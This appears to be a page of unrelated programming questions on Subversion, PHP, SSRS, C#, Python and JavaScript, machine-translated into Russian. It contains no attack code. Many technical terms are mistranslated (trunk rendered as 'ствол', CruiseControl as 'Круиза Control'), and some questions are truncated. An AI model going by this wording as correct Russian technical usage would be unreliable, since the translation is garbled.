Хотя мой вопрос был плохо сформулирован, я имел в виду, что дизайнер не должен делать слишком много предположений о том, что клиент будет иметь в наличии. Вы должны планировать, как все пользователи будут видеть ваш сайт, а не только для людей, использующих вашу собственную предпочтительную настройку.
Получение номера репозитория subversion в коде
Я хотел бы реализовать способ записи версии проекта в коде, чтобы его можно было использовать при тестировании и отслеживать ошибки. Похоже, что лучшим номером версии для использования будет просто текущий номер версии из Subversion. Есть ли простой способ закрепить это число в заголовочном файле (C++ в моем случае) или что-то еще, что я могу получить в коде? Я думаю, что это пост-коммит-крючок или что-то в этом роде?
Есть ли у кого-нибудь опыт реализации этого (с кодом для обмена, пожалуйста?), или может предложить лучшую альтернативу? Спасибо.
Создание тестовых данных в базе данных
Я знаю о некоторых генераторах тестовых данных, но большинство из них, похоже, просто заполняют базы данных стилей имен и адресов [не стесняйтесь поправлять меня].
У нас есть большое интегрированное и нормализованное приложение - например, счета-фактуры имеют номера деталей, связанные с таблицами запасов, номера клиентов, связанные с таблицами клиентов, журналы изменений, связанные с информацией аудита, и т. д., которые, очевидно, трудно заполнить случайным образом. В настоящее время мы запутываем реальные данные, чтобы получить тестовые данные (но не очень хорошо).
Что tools\methods вы используете для создания больших объемов данных для тестирования?
Простой способ преобразования Crystal Reports в MS SQL Server Reporting Services
Есть ли способ легко конвертировать отчеты Crystal Reports в формат Reporting Services RDL? У нас есть довольно много отчетов, которые скоро будут нуждаться в преобразовании.
Я знаю о ручном процессе (который в основном восстанавливает все ваши отчеты с нуля в SSRS), но мои поиски указали на несколько возможностей с автоматическим преобразованием "acceleration" с несколькими консалтинговыми фирмами. (Как описано далее .... - ссылка сломана).
Есть ли у кого-нибудь из вас какой-либо действительный опыт или рекомендации по этому конкретному вопросу? Есть ли вокруг какие-то инструменты, о которых я не знаю?
Легкий метод установки для справки серии windows/ необходим?
У меня есть куча файлов, которые мне нужно быстро транспортировать и устанавливать . Мой текущий метод для этого-перемещение диска flash с файлом readme, где материал идет всякий раз, когда мне нужно переместить материал, что довольно неэлегантно и громоздко.
Моя идея решения заключалась бы в том, чтобы написать быстрый скрипт для перемещения файлов, которые я мог бы просто щелкнуть. Я делал некоторые сценарии bash раньше, но пакетные сценарии немного странны для меня. У кого-нибудь есть хороший онлайн-справочник, который я мог бы использовать?
Альтернативой soulution, которую я мог бы принять, была бы программа, которая делает установщик для вас, хотя я немного против этого, поскольку я потеряю много контроля. Тем не менее, я был бы в порядке с этим, если бы это было очень просто,
Динамическая Алфавитная Навигация
Я использую ColdFusion , чтобы вернуть результирующий набор из базы данных SQL и превратить его в список.
Мне нужен какой-то способ создать алфавитную навигационную панель для этого списка. У меня есть библиотека ColdFusion и jQuery.
Я ищу, чтобы создать что-то вроде этого:
A | B | C | ...
- A
- A
- B
- B
- B
- C
- D
Где нажатие на одну из букв опускает вас вниз по странице до первого элемента для этой буквы. Не все 26 букв алфавита обязательно используются.
Является ли FindFirstChangeNotification лучшим API для уведомления об изменении файловой системы на windows?
Я новичок в программировании windows и пытаюсь получать уведомления обо всех изменениях файловой системы (аналогично информации, которую отображает FileMon из SysInternals, но через API). Является ли FindFirstChangeNotification для каждого (не сетевого, не подстанционного) диска моим лучшим выбором или есть другие более подходящие C/C++ APIs?
Как по доступной цене выпустить веб-приложение
Я бедный студент колледжа. Я построил небольшое веб-приложение в PHP5 и MySQL, и у меня уже есть домен. Каков доступный способ получить его онлайн? Несколько человек предложили услуги amazon-х cloud-х годов, но это похоже на перерезание моих запястий и наблюдение за тем, как медленно вытекают деньги. Итак, предложения? Хостинг-компании, сайты CIA drop, что-нибудь?
Обновление: много предложений было для Dreamhost. Их план предусматривает пропускную способность в 5 ТБ. Может ли кто-нибудь представить это в перспективе? Например, сколько пропускной способности получает сайт с таким трафиком StackOverflow?
Интернационализация в SSRS
Каков наилучший способ обработки переводов для текста запаса в SSRS . Например , если у меня есть отчет, который показывает сетку содержимого, какой лучший способ получить правильный перевод для заголовка этой сетки, предполагая, что культура отчета установлена правильно.
Другими словами, можно ли делать ресурсы в отчете SSRS , или я застрял с сохранением всего этого текста в базе данных и запросом на него?
Как лучше всего реализовать проверку полей с помощью ASP.NET MVC?
Я создаю общедоступный веб-сайт с использованием ASP.NET, в качестве части результата мне нужно сделать сайт администратора для ввода данных из материала, показанного на общедоступном сайте, мне было интересно, какие методы или процедуры используют люди для проверки записей с использованием ASP.NET MVC.
Алгебраические типы данных Haskell
Я пытаюсь полностью понять все концепции Haskell.
В чем алгебраические типы данных похожи на универсальные типы, например, в C# и Java? И чем же они отличаются? И вообще, что в них такого особенного?
Я знаком с универсальной алгеброй и ее кольцами и полями, но у меня есть только смутное представление о том, как работают типы Haskell.
445   0   23:21, 7th August, 2020
Доступ к параметру html в PHP
Я пытаюсь сделать простой тестовый сценарий php для сеансов. В основном он увеличивает счетчик (хранится в $_SESSION) каждый раз, когда вы обновляете эту страницу. Это работает, но я пытаюсь иметь ссылку, чтобы уничтожить сеанс, который перезагружает страницу с параметром ?destroy=1 . Я пробовал пару операторов if, чтобы увидеть, установлен ли этот параметр, и если да, то уничтожить сеанс, но он, похоже, не работает.
Я даже поместил оператор if в основной корпус, чтобы всплывающее сообщение, если параметр установлен , но он, похоже, не был поднят.
Я знаю, что делаю что-то глупое (я новичок PHP), но я не могу найти, что это такое...
Смотрите код здесь:
<?php
if ($_POST['destroy']) {
session_destroy();
} else {
session_start();
}
?>
<html>
<head>
<title>Session test</title>
</head>
<body>
<?php
if (isset($_POST['destroy'])) {
echo "Destroy set";
}
$_SESSION['counter']++;
echo "You have visited this page " . $_SESSION['counter'] . " times" . "<BR>";
echo "I am tracking you using the session id " . session_id() . "<BR>";
echo "Click <a href=\"" . $_SERVER['PHP_SELF'] . "?destroy=1\">here</a> to destroy the session.";
?>
Структура проектов в системе управления версиями
Я знаю, что есть по крайней мере 10 различных способов структурировать проект в системе управления версиями. Мне интересно, какие методы используются и какие из них работают для вас. Я работал с SVN, TFS и в настоящее время/к сожалению VSS. Я видел, что управление версиями реализовано очень плохо и просто OK, но никогда не было большим.
Просто для того, чтобы заставить мяч катиться, вот обзор того, что я видел.
Этот пример основан на SVN, но применим к большинству VCS (не столько к распределенному управлению версиями).
ветвление отдельных проектов, входящих в состав сайта /division/web/projectName/vb/src/[ствол / ветви / метки]
ветвление всего сайта, в случае, который я видел, весь сайт, за исключением основных компонентов, был разветвлен. / подразделение/[ствол / ветви / метки] / web/projectName/vb/src/
Используйте main-line по умолчанию, только ветвь, когда это необходимо для огромных изменений.
Легкий контроль исходного кода
Я ищу облегченную систему управления версиями для использования в проектах "hobby", где только один человек (Я) работает над проектом. У кого-нибудь есть какие-нибудь предложения? В идеале он должен взаимодействовать с Visual Studio либо наивно, либо через другой плагин, кроме того, все, что работает, было бы неплохо заменить Gmail в качестве системы управления версиями.
Очистка пользовательского ввода с помощью Python
Как лучше всего очистить пользовательский ввод для веб-приложения на базе Python? Существует ли одна функция для удаления HTML символов и любых других необходимых комбинаций символов, чтобы предотвратить атаку XSS или SQL инъекций?
Руководство для начинающих в Haskell?
Я уже некоторое время ищу приличный путеводитель по Haskell, но не смог найти тот, который кажется достаточно интересным для чтения и/или имеет смысл.
Несколько лет назад я уже сталкивался с Haskell, но почти ничего не помню. Я помню, что "Aha!"-чувство было невероятным, когда я наконец получил его, и это было действительно весело играть, поэтому я ищу, чтобы заново открыть потерянное искусство Haskell.
Я знаком с Ruby и его функциональными программными трюками, поэтому думаю, что я не совсем в темноте. Какие-нибудь ссылки?
Разница между массивом байтов и потоком памяти
Я читаю двоичный файл в программу синтаксического анализа. Мне нужно будет перебирать файл и искать определенные маркеры, чтобы я мог разделить файл и передать эти части в конструкторы соответствующих объектов.
Есть ли преимущество в сохранении файла в виде потока, будь то MemoryStream или FileStream, или он должен быть преобразован в массив byte[]?
Кит
Кто на самом деле использует DataGrid/GridView/FormView/etc в производственных приложениях?
Любопытно, чувствуют ли другие то же самое, что и я. Для меня такие элементы управления, как datagrid/gridview/formview/etc. отлично подходят для презентаций или только демо-версии. Чтобы занять время и настроить эти элементы управления, переопределите их поведение по умолчанию (подключение к их глупым событиям и т. д.) - это большая головная боль. Единственный элемент управления, который я использую, - это ретранслятор, поскольку он обеспечивает мне наибольшую гибкость по сравнению с другими.
Короче говоря, они довольно сильно раздуваются.
Я бы предпочел создать свой собственный html/css,, используя свои собственные пользовательские запросы подкачки.
Опять же, если вам нужно быстро открыть страницу, эти элементы управления отлично подходят (особенно если вы пытаетесь привлечь людей к легкости разработки .NET ).
Я должен быть в меньшинстве, иначе MS не посвятил бы столько времени разработке этих типов управления...
Последние / Rack deployment
Я знаю, что это довольно экзотично, но я хочу развернуть веб-приложение Ruby (не на основе Rails, а на основе Rack, поэтому он подключается к большинству серверов Ruby просто отлично) с использованием JRuby. Google и друзья дают мне несколько историй успеха, но в основном rails связаны, а если нет, то никаких подробностей о deployment не предоставляется. Фреймворк, который я использую, - это Ramaze, если это имеет значение.
Любая помощь будет принята с благодарностью.
.net решение подрывной лучшие практики?
Есть так много примеров того, как настроить свои проекты dotnet, но ни один из них не соответствовал нашей ситуации.
У нас есть одно решение с несколькими приложениями, несколькими зависимостями. В настоящее время мы находимся на SourceSafe и планируем перейти к subversion, но нам трудно правильно организовать наш источник.
Пример решения
- Приложения app1
- Приложения app2
- BizObjects
- DataAccess
- CustomControls
Зависимости
- BizObjects - >DataAccess
- Приложения app1->CustomControls
- Приложения app1->BizObjects
- Приложения app1->DataAccess
- Приложения app2->CustomControls
- Приложения app2->BizObjects
У нас также есть система управления конфигурацией, которая развертывается (через копию из базы данных) в зависимости от рабочей нагрузки оператора. Мы отмечаем приложение "release" с версией и к этому выпуску мы добавляем несколько зависимостей файлов. Имейте в виду, что решение, которое мы имеем сейчас,-это попытка использовать старое (разработанное windows 3.1) решение для работы .NET структура файлов / зависимостей.
В случае App1 мы имеем App1.exe, BizObjects.dll, DataAccess.dll и CustomControls.dll. У нас есть тот же набор зависимостей для App2 из-за BizObjects ссылки DataAccess -- но это определяется вручную. У нас нет системы для идентификации дерева зависимостей.
Каждая из зависимостей для "release" - это идентификатор файла и версии. И одно и то же приложение может содержать разные версии каждого файла для разных рабочих нагрузок.
- Где в мире мы ошиблись? Неужели мы ошиблись?
- Как мы можем структурировать исходное дерево svn для удовлетворения требований deployment?
- или
- как мы можем реструктурировать код, чтобы лучше поддерживать стратегию deployment, которая имеет смысл для нашей установки?
У нас есть старое и чрезмерно разработанное решение (казалось бы) относительно простой проблемы. Может ли кто-нибудь направить меня/нас в правильном направлении?
edit: я прочитал этот вопрос и вспомнил, что у нас также есть те же области dev/test/prod, через которые должен проходить код.
442   2   19:52, 15th August, 2020
Каков наилучший способ разбиения терабайтного диска на машине разработки linux?
Завтра у меня будет новый диск 1 TB. Каков наилучший способ разделить это пространство для рабочей станции разработки?
Самая большая проблема, которую я думаю, что у меня будет, заключается в том, что некоторые разделы (вероятно, /usr) станут маленькими после небольшого использования. Другие разделы, вероятно, огромны. Например, диск подкачки в настоящее время составляет 2 ГБ (2x 1GB RAM), но он почти никогда не используется (только один раз, о котором я знаю).
Каков наилучший способ аутентификации через WCF?
Каков наилучший способ реализации аутентификации через WCF?
Я бы предпочел не использовать WS-*, поскольку он должен быть независимым от транспорта.
Должен ли я "свернуть свой собственный"? Есть ли какие-либо рекомендации для этого (articles/blog сообщений)?
Или есть какой-то способ (и должен ли я) использовать встроенные поставщики членства и профилей ASP.NET на стороне сервера?
С чего начать CruiseControl.NET
Я настраиваю систему управления версиями моей команды + процесс сборки / интеграции с нуля. Мы использовали VSS и инструмент, который мы создали самостоятельно для выполнения процесса сборки. Мы решили перейти к более современным условиям. У меня работает SVN, и я хотел бы установить непрерывный процесс интеграции с CruiseControl.NET. Есть ли хорошее руководство step-by-step starter, которое поможет мне начать работу с лучшими практиками этого инструмента?
Реализация права в PHP
Я пытался сделать это несколько раз, но безуспешно. После прочтения этого поста, это заставило меня заинтересоваться этим снова. Так может кто-нибудь сказать мне, почему следующее не работает?
<?php
$guest = 1;
$editor = 2;
$admin = 4;
$user = $editor;
if( $user == ($editor | $admin) ) {
echo "Test";
}
?>
Создайте зашифрованный файл ZIP в Python
Я создаю файл ZIP с ZipFile в Python 2.5, он работает нормально до сих пор:
import zipfile, os
locfile = "test.txt"
loczip = os.path.splitext (locfile)[0] + ".zip"
zip = zipfile.ZipFile (loczip, "w")
zip.write (locfile)
zip.close()
но я не мог найти, как зашифровать файлы в файле ZIP. Я мог бы использовать system и вызвать PKZIP-s, но я полагаю, что должен быть более "Pythonic" способ. Я ищу решение с открытым исходным кодом.
Каков наиболее эффективный способ для плавающего и двойного сравнения?
Каков был бы наиболее эффективный способ сравнить два значения double или два значения float ?
Просто делать это неправильно:
bool CompareDoubles1 (double A, double B)
{
return A == B;
}
Но что-то вроде:
bool CompareDoubles2 (double A, double B)
{
diff = A - B;
return (diff < EPSILON) && (-diff < EPSILON);
}
Похоже на переработку отходов.
Кто-нибудь знает более умный поплавковый компаратор?
Как бы вы реализовали аутентификацию на основе FORM без резервной базы данных?
У меня есть сценарий PHP, который работает как программа CGI, а заголовок HTTP Authenticate съедается и выплевывается. Поэтому я хотел бы реализовать какую-то аутентификацию на основе FORM. В качестве дополнительного ограничения отсутствует база данных, поэтому данные сеанса не могут быть сохранены.
Я очень открыт для того, чтобы иметь мастер-имя пользователя и пароль. Мне просто нужно защитить приложение от злоумышленника, который не знает эти учетные данные.
Так как бы вы это реализовали?
Печенье?
Я могу представить форму, и если она подтвердится, я могу отправить обратно файл cookie, который является hash из IP адреса и секретного кода. Тогда я могу запретить отображение страниц, если вещь не расшифровывается правильно. Но я понятия не имею, как реализовать это в PHP.
Когда следует использовать 'friend' в C++?
Я читал через C++ FAQ и был заинтересован в объявлении friend . Я лично никогда не использовал его, однако мне интересно исследовать язык.
Каков хороший пример использования friend ?
Читая FAQ немного дольше, Мне нравится идея перегрузки оператора << >> и добавления в качестве друга этих классов. Однако я не уверен, как это не нарушает инкапсуляцию. Когда эти исключения могут оставаться в пределах строгости, которая составляет OOP?
Как изменить свойство style шрифта на Windows?
Обратите внимание, что этот вопрос продолжается от того, можно ли уговорить Visual Studio 2008 использовать курсив для комментариев?
Обратите внимание, что этот вопрос продолжается от того, можно ли уговорить Visual Studio 2008 использовать курсив для комментариев?
Если длинное название вопроса вас зацепило, то вот в чем проблема:
Как преобразовать свойство style шрифта Consolas Italic в полужирный шрифт без изменения каких-либо его фактических символов? То есть, мы хотим, чтобы шрифт был все тот же (т. е. Курсив), мы просто хотим, чтобы OS поверил, что теперь это жирный шрифт.
Пожалуйста, просто не упоминайте название инструмента (например, fontforge), но опишите шаги для достижения этой цели или укажите на такое описание.
ASP.NET Пользовательские Элементы Управления-Композиты
Резюме
Привет Всем,
OK, далее в мои приключения с пользовательскими элементами управления...
В общем, вот что я узнал о трех основных "classes" пользовательских элементах управления. Пожалуйста, не стесняйтесь поправлять меня, если что-то из этого неправильно!
- UserControls -которые наследуются от UserControl и содержатся в файле ASCX . Они довольно ограничены в том, что они могут сделать, но это быстрый и легкий способ получить некоторую общность UI с поддержкой дизайнера.
- Пользовательские составные элементы управления -это элементы управления, которые наследуются от WebControl , где вы добавляете ранее существующие элементы управления к элементу управления в методе CreateChildControls. Это обеспечивает большую гибкость, но отсутствие поддержки дизайнера без дополнительного кодирования. Они очень портативны, хотя, поскольку их можно скомпилировать в DLL.
- Пользовательские визуализированные элементы управления -подобно пользовательским составным элементам управления, они добавляются в проект Библиотеки веб-элементов управления. Рендеринг элемента управления полностью контролируется программистом путем переопределения метода рендеринга .
свои мысли..
OK, поэтому, играя с пользовательскими композитами, я обнаружил следующее:
- У вас мало/нет контроля над выходом HTML, что затрудняет "debug".
- CreateChildControls (и последующие методы) могут быть действительно заняты Controls.Add(myControl) везде.
- Я обнаружил, что таблицы рендеринга (будь то для макета или контента) значительно неудобны.
Вопрос(ы)..
Итак, я признаю, что я новичок в этом, поэтому я мог бы быть далеко от базы с некоторыми из моих пунктов, отмеченных выше..
- Вы используете композиты?
- Есть ли у вас какие-нибудь аккуратные трюки, чтобы контролировать выход HTML?
- Вы просто говорите "to hell with it" и идете дальше и создаете пользовательский визуализированный элемент управления?
Это то, что я очень хочу получить действительно твердым в своем уме, так как я знаю, насколько хорошее развитие контроля может сократить общее время разработки.
Я с нетерпением жду ваших ответов ^_^
Получение имени компьютера клиента? (Windows авт)
У меня есть приложение ASP.net, которое работает во внутренней сети (Ну, на самом деле он работает на Sharepoint 2007).
Мне просто интересно:
Могу ли я каким-то образом получить имя PC, которое использует клиент?
У меня будет доступ к Active Directory, если это поможет.
Дело в том, что люди используют несколько PCs, поэтому я не могу использовать ручное/статическое отображение.
Если возможно, я не хочу использовать какой-либо код на стороне клиента (читай: JavaScript), но если это невозможно сделать на стороне сервера, JavaScript также будет OK.
(ActiveX абсолютно исключено)
Подходящая альтернатива CryptEncrypt
У нас есть ситуация в нашем продукте, где в течение длительного времени некоторые данные хранились в базе данных приложения в виде строки SQL (выбор сервера MS SQL или sybase SQL в любом месте), которая была зашифрована с помощью функции Windows API CryptEncrypt. (прямой и де-криптографический)
Проблема в том, что CryptEncrypt может производить NULL в выходных данных, что означает, что когда он хранится в базе данных, строковые манипуляции в какой-то момент усекут CipherText.
В идеале мы хотели бы использовать algo, который будет производить CipherText, который не содержит NULLs, поскольку это вызовет наименьшее количество изменений в существующих базах данных (изменение столбца со строки на двоичный и код для работы с двоичным вместо строк) и просто расшифрует существующие данные и повторно зашифрует с помощью нового алгоритма во время обновления базы данных.
Алгоритм не должен быть самым безопасным, так как база данных уже находится в достаточно безопасной среде (а не в открытой сети / межсистемных сетях), но должен быть лучше, чем ROT13 (который я могу почти расшифровать в своей голове сейчас!)
edit: кстати, есть ли конкретная причина для изменения шифротекста на шифротекст? шифротекст кажется более широко используемым...
Переход с MySQL на PostgreSQL
В настоящее время мы используем MySQL для продукта, который мы создаем, и стремимся перейти на PostgreSQL как можно скорее, в первую очередь по причинам лицензирования.
Кто-нибудь еще сделал такой шаг? Наша база данных-это жизненная сила приложения и в конечном итоге будет хранить TBs данных, поэтому я очень хочу услышать об опыте работы improvements/losses, основных препятствий в преобразовании SQL и хранимых процедурах и т. д.
Edit: просто чтобы разъяснить тем, кто спрашивал, почему нам не нравится лицензирование MySQL. Мы разрабатываем коммерческий продукт, который (в настоящее время) зависит от MySQL в качестве бэк-энда базы данных. В их лицензии говорится, что мы должны платить им процент от нашей прейскурантной цены за установку, а не фиксированную плату. Как стартап, это менее чем привлекательно.
Большие, сложные объекты как результат работы веб-службы
Еще раз здравствуйте, дамы и господа!
OK, вслед за моим другим вопросом о результатах веб-службы ASP.NET, Прокси-классах и преобразовании типов . Я пришел к той части своего проекта, где мне нужно надеть свою мыслительную шапочку.
В принципе, у нас есть большой, сложный пользовательский объект, который должен быть возвращен из веб-службы и использован в клиентском приложении.
Теперь, основываясь на предыдущем обсуждении, мы знаем, что это будет затем принимать форму прокси-класса(классов) в качестве возвращаемого типа. Чтобы преодолеть это, нам нужно в основном скопировать свойства от одного к другому.
В данном случае, это то, что я бы очень, очень, очень хотел! хотелось бы избежать!
Так что, это заставило меня задуматься, как еще мы могли бы это сделать?
Мои текущие мысли заключаются в том, чтобы включить объект для полной сериализации в XML, а затем вернуть XML в виде строки из веб-службы. Затем мы десериализации на клиенте. Это будет означать изрядную часть украшения атрибутов, но, по крайней мере, код на обеих конечных точках будет легким, а именно, просто используя сериализатор .NET XML.
Что вы думаете по этому поводу?
Организация репозитория
Когда я впервые начал использовать системы контроля версий , такие как CVS и SVN, я действительно не понимал концепции "trunk", ветвления, слияния и маркировки. Теперь я начинаю понимать эти концепции, и действительно понимаю важность и силу, стоящие за ними.
Итак, я начинаю делать это правильно. Или мне так кажется... Это то, что я понимаю до сих пор: последняя версия/стабильная версия вашего кода должна сидеть в /trunk/, в то время как бета-версии или версии bleeding edge находятся внутри каталога /branches/ как разные каталоги для каждого бета-релиза, а затем объединяются в магистраль при выпуске.
Не слишком ли упрощенный взгляд на вещи? Какие макеты репозитория вы, ребята, рекомендуете? Если это имеет значение, я использую Subversion.
Кто-нибудь знает быстрый способ добраться до пользовательских атрибутов по значению enum?
Это, вероятно, лучше всего показать на примере. У меня есть перечисление с атрибутами:
public enum MyEnum {
[CustomInfo("This is a custom attrib")]
None = 0,
[CustomInfo("This is another attrib")]
ValueA,
[CustomInfo("This has an extra flag", AllowSomething = true)]
ValueB,
}
Я хочу добраться до этих атрибутов из экземпляра:
public CustomInfoAttribute GetInfo( MyEnum enumInput ) {
Type typeOfEnum = enumInput.GetType(); //this will be typeof( MyEnum )
//here is the problem, GetField takes a string
// the .ToString() on enums is very slow
FieldInfo fi = typeOfEnum.GetField( enumInput.ToString() );
//get the attribute from the field
return fi.GetCustomAttributes( typeof( CustomInfoAttribute ), false ).
FirstOrDefault() //Linq method to get first or null
as CustomInfoAttribute; //use as operator to convert
}
Так как это использует отражение, я ожидаю некоторую медлительность, но это кажется беспорядочным, чтобы преобразовать значение enum в строку (которая отражает имя), когда у меня уже есть его экземпляр.
У кого-нибудь есть лучший способ?
Рекомендация для библиотеки проверки формы javascript
Любые рекомендации для библиотеки проверки формы javascript. Я мог бы попробовать свернуть свой собственный (но я не очень хорош в javascript). Необходимо поддерживать проверку обязательных полей, а также желательно регулярное выражение проверки полей.
Как я могу узнать о парсер-комбинаторах?
Я нашел несколько источников по этому вопросу , но все они требуют глубокого понимания SmallTalk или Haskell, ни одного из которых я не знаю.
Mac iWork / Автоматизация Страниц
Существует богатая модель сценариев для Microsoft Office, но не так с Apple iWork, и в частности страниц текстового процессора. Хотя есть некоторые крючки AppleScript, похоже, что лучший подход-это манипулировать базовыми данными XML.
Это оказывается довольно уродливым, потому что (например) разрывы страниц хранятся в XML. Так, например, у вас есть что-то вроде:
... we hold these truths to be self evident, that </page>
<page>all men are created equal, and are ...
Поэтому, если вы хотите добавить или удалить текст, вам нужно переместить начальные/конечные теги в зависимости от размера текста на странице. Это практически невозможно без вычисления количества слов, которое может содержать страница, что кажется дико неэлегантным.
У кого-нибудь есть какие-нибудь мысли по этому поводу?
Как лучше всего распределить инструменты командной строки python?
Мой текущий скрипт setup.py работает нормально, но он устанавливает tvnamer.py (инструмент) как tvnamer.py в пакеты сайта или что-то подобное..
Можно ли сделать setup.py install tvnamer.py как tvnamer и / или есть ли лучший способ установки приложений командной строки?
Рекомендации по синтаксическому анализу AS3 XML
У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:
TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".
Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.
Есть ли какой-нибудь верный способ разобрать XML внутри Flash?
Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:
data = new XML(mainXMLLoader.data);
// calculate the total number of entries.
for each (var i in data.channel.item){
_totalEntries++;
}
Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?
Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?
@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded
Есть ли рекомендации для легких .net Win форм HTML элементов управления рендерером?
Пытаясь избежать управления .net WebBrowser (мне не нужно переходить к url, печатать визуализированные html или любые другие встроенные лакомства). Обертывание IE dll кажется немного тяжеловесным.
Мне просто нужно что - то, что может отображать основной html помеченный текст-эквивалент html RichTextBox в действительности. У кого-нибудь есть опыт / рекомендации / военные истории?
Использование ocx в консольном приложении
Я хочу быстро протестировать ocx. Как мне удалить этот ocx в консольном приложении. Я нашел несколько учебных пособий в CodeProject, но они неполные.
Решение deployment, CM, InstallShield
Люди,
У нас есть 4 или 5 утилит, которые работают в сочетании с нашим приложением. Эти утилиты представляют собой либо .bat файлов, либо VB приложения, PowerBuilder и т. д. Я пытаюсь управлять этими utils в системе управления версиями и пытаюсь найти лучший способ назначить им версии. Прямо сейчас разработчики используют метаданные системы управления версиями-в частности, метку-для хранения номера версии инструмента.
Моя цель состоит в том, чтобы иметь индивидуальные пакеты InstallShield для каждой утилиты, а также простые средства для управления и назначения номеров версий этим пакетам.
Вы бы рекомендовали отдельный файл .ini с информацией, или хранить информацию в самом файле InstallShield .ism, или просто использовать информацию о метаданных из средства управления версиями?
UPDATE :
Мне нравится эта идея, Орион. Но у меня есть одна забота. Скрипт, увеличивающий номер версии... он не может быть достаточно умен, чтобы увеличить основное число и т. д. право. напр. если один из utils имеет версию 1.2.3, и мы находимся в точке, где новая версия является 2.0.0. Сценарий может быть не в состоянии справиться с этим.
Я думаю, что это во многом связано с нашими методами ветвления-у нас их нет. Люди думали, что раз уж утили такие маленькие, то источник может и не нуждаться в ответвлениях.
413   3   22:42, 20th August, 2020
PowerShell App.Config
Кто-нибудь придумал, как заставить PowerShell использовать app.config файлов? У меня есть пара .NET DLL, которые я хотел бы использовать в одном из своих сценариев, но они ожидают, что их собственные разделы конфигурации будут присутствовать в app.config / web.config .
Разве AnkhSVN годится?
Я спросил пару коллег о AnkhSVN , и ни один из них не был доволен этим. Один из них зашел так далеко, что сказал, что AnkhSVN несколько раз испортил свой девенв.
Каков ваш опыт работы с AnkhSVN? Мне очень не хватает встроенного инструмента управления версиями IDE.
Запретить проглатывание исключений элементом управления WebBrowser
Я использую System.Windows.Forms.WebBrowser, чтобы сделать представление a-la начальной страницы Visual Studio. Однако, похоже, что элемент управления ловит и обрабатывает все исключения, молча погружая их! Не нужно говорить, что это очень неудачное поведение.
void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
// WebBrowser.Navigating event handler
throw new Exception("OMG!");
}
Приведенный выше код отменит навигацию и проглотит исключение.
void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
// WebBrowser.Navigating event handler
try
{
e.Cancel = true;
if (actions.ContainsKey(e.Url.ToString()))
{
actions[e.Url.ToString()].Invoke(e.Url, webBrowser.Document);
}
}
catch (Exception exception)
{
MessageBox.Show(exception.ToString());
}
}
Итак, то, что я делаю (выше), - это поймать все исключения и открыть окно, это лучше, чем молча терпеть неудачу, но все же явно далек от идеала. Я бы хотел, чтобы он перенаправлял исключение через обычный путь сбоя приложения, чтобы оно в конечном итоге становилось необработанным или обрабатывалось приложением из корня.
Есть ли способ сказать элементу управления WebBrowser , чтобы остановить потопление исключений и просто переслать их естественным и ожидаемым способом? Или есть какой-то хакерский способ бросить исключение через родные границы?
Лучший модуль мониторинга трафика / производительности / использования?
Есть ли какие-либо пакеты с открытым исходным кодом (или, я думаю, коммерческие), которые вы можете подключить к своему сайту для целей мониторинга? Я хотел бы что-то, что мы можем подключить к нашему сайту ASP.NET и использовать для предоставления отчетов о таких вещах, как:
- производительность с течением времени
- токовая нагрузка
- трафик страница
- SQL производительность
- PU контроль времени
В идеале в c# :)
С некоторыми сексуальными графиками.
Edit: я также был бы доволен пакетом, который я могу кормить статистикой и представлениями данных, и он будет анализировать тенденции, выявлять аномальное поведение (например, -за последний час никто не заходил в систему. это нормально?", "обнаружен высокий уровень трафика", "обнаружено низкое количество вызовов API") и, как правило, очень полезно. Существует ли такая вещь?
В моем последнем офисе у нас был большой экран, который показывал нам множество счетчиков производительности в течение нескольких временных диапазонов, и мы могли заметить странные вещи, происходящие, Но данные не хранились, и не было никакого способа сообщить об этом. Его пакет для этого, что я после этого.
Проверка десятичных чисел в JavaScript - IsNumeric()
Каков самый чистый и эффективный способ проверки десятичных чисел в JavaScript?
Бонусные баллы за:
- Ясность. Раствор должен быть чистым и простым.
- Межплатформенный.
Сценарии тестирования:
01. IsNumeric('-1') => true
02. IsNumeric('-1.5') => true
03. IsNumeric('0') => true
04. IsNumeric('0.42') => true
05. IsNumeric('.42') => true
06. IsNumeric('99,999') => false
07. IsNumeric('0x89f') => false
08. IsNumeric('#abcdef') => false
09. IsNumeric('1.2.3') => false
10. IsNumeric('') => false
11. IsNumeric('blah') => false
Изменение Круиза Control.NET
Мы исследуем использование CruiseControl.NET в качестве поставщика сборки непрерывной интеграции, а также автоматизируем первую часть нашего процесса deployment.
Кто-нибудь изменил панель мониторинга CruiseControl.NET's, чтобы добавить пользовательские роли входа и пользователя (IE, отдельный доступ к принудительной сборке только для определенных людей на основе каждого проекта?
Панель мониторинга-это приложение .NET, но я считаю, что он использует движок представления nVelocity вместо веб-форм, с которыми у меня нет опыта.
Можете ли вы смешать nVelocity и Webforms,или мне нужно потратить день на изучение чего-то нового =)
В C#, нужно ли вызывать базовый конструктор?
В C#,, если у меня есть унаследованный класс с конструктором по умолчанию, должен ли я явно вызывать конструктор базового класса или он будет вызван неявно?
class BaseClass
{
public BaseClass()
{
// ... some code
}
}
class MyClass : BaseClass
{
public MyClass() // Do I need to put ": base()" here or is it implied?
{
// ... some code
}
}
Лучший способ начать изучение дизайна веб-приложений
